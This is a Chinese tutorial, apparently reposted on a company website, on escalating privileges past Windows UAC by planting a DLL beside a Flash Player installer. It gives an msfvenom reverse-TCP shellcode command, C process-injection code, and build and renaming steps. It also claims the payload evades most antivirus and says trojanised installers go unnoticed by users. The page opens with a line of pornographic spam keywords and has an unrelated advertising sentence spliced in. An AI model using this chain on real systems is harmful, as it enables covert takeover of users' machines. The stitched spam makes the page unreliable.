日韩无码专区无码一级三级片|91人人爱网站中日韩无码电影|厨房大战丰满熟妇|AV高清无码在线免费观看|另类AV日韩少妇熟女|中文日本大黄一级黄色片|色情在线视频免费|亚洲成人特黄a片|黄片wwwav色图欧美|欧亚乱色一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時間:8:30-17:00
你可能遇到了下面的問題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營銷解決方案
借用UAC完成的提權(quán)思路分享

0x00 背景

創(chuàng)新互聯(lián)于2013年成立,先為龍州等服務(wù)建站,龍州等地企業(yè),進行企業(yè)商務(wù)咨詢服務(wù)。為龍州企業(yè)網(wǎng)站制作PC+手機+微官網(wǎng)三網(wǎng)同步一站式服務(wù)解決您的所有建站問題。

UAC(User Account Control,用戶帳戶控制)是微軟為提高系統(tǒng)安全而在Windows Vista中引入的新技術(shù),它要求用戶在執(zhí)行可能會影響計算機運行的操作或執(zhí)行更改影響其他用戶的設(shè)置的操作之前,提供權(quán)限或管理員?密碼。也就是說一旦用戶允許啟動的應(yīng)用程序通過UAC驗證,那么這個程序也就有了管理員權(quán)限。如果我們通過某種方式劫持了通過用戶UAC驗證的程序,那么相應(yīng)的我們的程序也就實現(xiàn)了提權(quán)的過程。

0x01 提權(quán)過程概述

首先我們找到目標(biāo)程序,查找其動態(tài)加載的dll文件然后將其替換掉,插入我們包含shellcode的dll文件,這樣用戶在安裝此文件的時候就會調(diào)用我們的dll文件,并執(zhí)行我們的shellcode代碼。同時為了防止程序崩掉導(dǎo)致我們的代碼退出,采用注入的方式保證shellcode的穩(wěn)定執(zhí)行。在此過程中,如果目標(biāo)程序請求UAC權(quán)限,對于用戶來說這是一個正常的安裝文件,一旦通過UAC驗證,相應(yīng)我們的shellcode也完成了提權(quán)過程。替換安裝包dll文件這種行為太過于敏感,其實最后實現(xiàn)的方式是找到目標(biāo)程序需要加載的,并且當(dāng)前目錄又不存在的需要聯(lián)網(wǎng)下載的dll文件,我們只需要在該目錄下放一個同名dll文件即可。

0x02 實驗環(huán)境

Kali Debian7

Kali集成Metasploit等漏洞利用工具,方便提取shellcode和反彈TCP連接。最好安裝一個Mingw-w64用于編譯c代碼。

windows7 x64

主要的目標(biāo)測試環(huán)境。

Procmon.exe

Procmon是微軟出的一款強大的Windows監(jiān)視工具,不但可以監(jiān)視進程/線程,還可以監(jiān)控到文件系統(tǒng),注冊表的變化等。

install_flashplayer15x32_mssd_aaa_aih

這里我們以flashplayer安裝文件作為目標(biāo)文件,版本為15x32_mssd_aaa_aih,可自行下載,或者從最后的打包附件中找到。

0x03 詳細(xì)提權(quán)過程

查找可劫持的dll文件

首先我們在win7系統(tǒng)下先打開procmon監(jiān)控軟件,清除一下日志信息,然后運行我們的目標(biāo)文件install_flashplayer15x32_mssd_aaa_aih,運行過后會彈出UAC選項,需要用戶確認(rèn)授權(quán)。

這里我們點“是”,然后安裝包開始安裝并自刪除,并從服務(wù)器下載所需的文件,這時候就可以關(guān)掉了,因為我們只需要看該軟件包都加載了哪些dll文件。

看下Procmon.exe記錄所有行為

信息量太大,我們需要過濾出有用的信息。

首先是只看我們目標(biāo)進程的信息,添加過濾規(guī)則:

Process Name is install_flashplayer15x32_mssd_aaa_aih

然后是過濾掉加載系統(tǒng)的dll文件,只看安裝包當(dāng)前目錄下加載的dll文件,我這里安裝包存放在dllhijack文件夾下,添加過濾規(guī)則:

Path contains dllhijack

并且該加載dll不存在,需要聯(lián)網(wǎng)從服務(wù)器下載,最后再添加一個過濾規(guī)則:

Result is NAME NOT FOUND

三個過濾規(guī)則如下所示:

經(jīng)過三個規(guī)則過濾后,留下的信息就很明顯了,如下圖所示:

上邊所列的dll文件都是會嘗試加載,并且找不到,會聯(lián)網(wǎng)進行下載的dll文件,因此,我們的目標(biāo)就是劫持這些dll文件,也不需要替換,直接將我們的dll文件放在安裝包同目錄即可,這也是為什么選擇這個安裝程序測試的原因。如果選擇其他安裝包測試的,最好也是選擇這種聯(lián)網(wǎng)安裝類型的,所有文件都從服務(wù)器拉取,如果安裝程序沒有對這些從服務(wù)器拉取的文件進行效驗,就能夠被劫持。

編寫exploit

找到劫持了dll文件后,我們進入Debian系統(tǒng)用msf生成shellcode,這里我們選擇反彈tcp的shellcode,需要知道服務(wù)器ip地址和監(jiān)聽端口,這里也選擇Debian系統(tǒng)作為服務(wù)器,ifconfig查看下ip,設(shè)置監(jiān)聽端口為9000,最后執(zhí)行如下命令生成shellcode:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.127.133 LPORT=9000 -f c

為了防止程序掛掉或者退出導(dǎo)致shellcode也跟著退出,采用注入的方式,將shellcode注入rundll32.exe進程,然后連接遠(yuǎn)程端口。服務(wù)器監(jiān)聽該端口,一旦有請求就建立會話連接,注入關(guān)鍵代碼:

 
 
 
  1. if (CreateProcess(0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED | IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {  
  2.     ctx.ContextFlags = CONTEXT_INTEGER | CONTEXT_CONTROL;  
  3.     GetThreadContext(pi.hThread, &ctx);      
  4.  
  5.     ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);      
  6.  
  7.     WriteProcessMemory(pi.hProcess, (PVOID)ep, &code, SCSIZE, 0);      
  8.  
  9.     #ifdef _WIN64  
  10.             ctx.Rip = (DWORD64)ep;  
  11.     #else  
  12.             ctx.Eip = (DWORD)ep;  
  13.     #endif      
  14.  
  15.     SetThreadContext(pi.hThread, &ctx);      
  16.  
  17.     ResumeThread(pi.hThread);  
  18.     CloseHandle(pi.hThread);  
  19.     CloseHandle(pi.hProcess);  

最后將程序編譯,這里編譯直接在Debian系統(tǒng)下用Mingw-w64編譯,命令入下:

root@idhyt:~/maldemo# i686-w64-mingw32-gcc template.c -o template.dll –shared

root@idhyt:~/maldemo# file template.dll

template.dll: PE32 executable (DLL) (console) Intel 80386, for MS Windows

將編譯好的template.dll拷貝到win7系統(tǒng)中備用。

debian系統(tǒng)設(shè)置服務(wù)器并監(jiān)聽9000端口,所有命令如下:

提權(quán)

將編譯的template.dll文件放在install_flashplayer15x32_mssd_aaa_aih目錄下,從我們監(jiān)控到的可劫持dll文件中選擇一個,這里我選擇dhcpcsv6.dll。將我們的dll文件改名為dhcpcsvc6.dll,其他dll文件可自行嘗試。之后重新運行安裝包,彈出UAC選項后點“是”。

之后我們在debian系統(tǒng)的服務(wù)端會看到我們已經(jīng)監(jiān)聽到了這個端口,看下會話信息:

查看下當(dāng)前uid,然后執(zhí)行g(shù)etsystem命令權(quán)限:

可以看到已經(jīng)提權(quán)成功,然后進入shell查看下文件,運行個計算器什么的

0x04 總結(jié)

UAC很大程度上減少PC受到惡意軟件侵害的機會,但是并不表明是不可被利用的。通過這種dll劫持方式,可以將dll文件設(shè)置為隱藏,并將正常的軟件(如adobe flash player)打包給用戶,用戶基本是察覺不到的,一旦用戶正常安裝,機器就會被攻擊者控制。一些病毒通過劫持lpk.dll等系統(tǒng)dll文件造成的病毒體執(zhí)行,也是利用這種思路,但是替換系統(tǒng)文件這種敏感操作,基本逃不過殺軟的監(jiān)控了。

各殺軟廠商對shellcode這種檢測和防御也不夠嚴(yán)格,直接從msf中提取的shellcode,沒做任何變形和過殺軟處理,然后virustotal網(wǎng)站上掃描結(jié)果如下:

可以看出總共用了56中殺毒軟件掃描,報毒的只有16個,然后看下國內(nèi)的殺軟:

國內(nèi)殺軟全都沒有報毒,所以通過dll劫持提權(quán)還是有很大的使用空間。 代碼和安裝包上傳百度網(wǎng)盤:鏈接: http://pan.baidu.com/s/1ntAbfQD 密碼: rmsq 解壓碼:ks123456


網(wǎng)頁標(biāo)題:借用UAC完成的提權(quán)思路分享
文章URL:http://m.5511xx.com/article/coipogi.html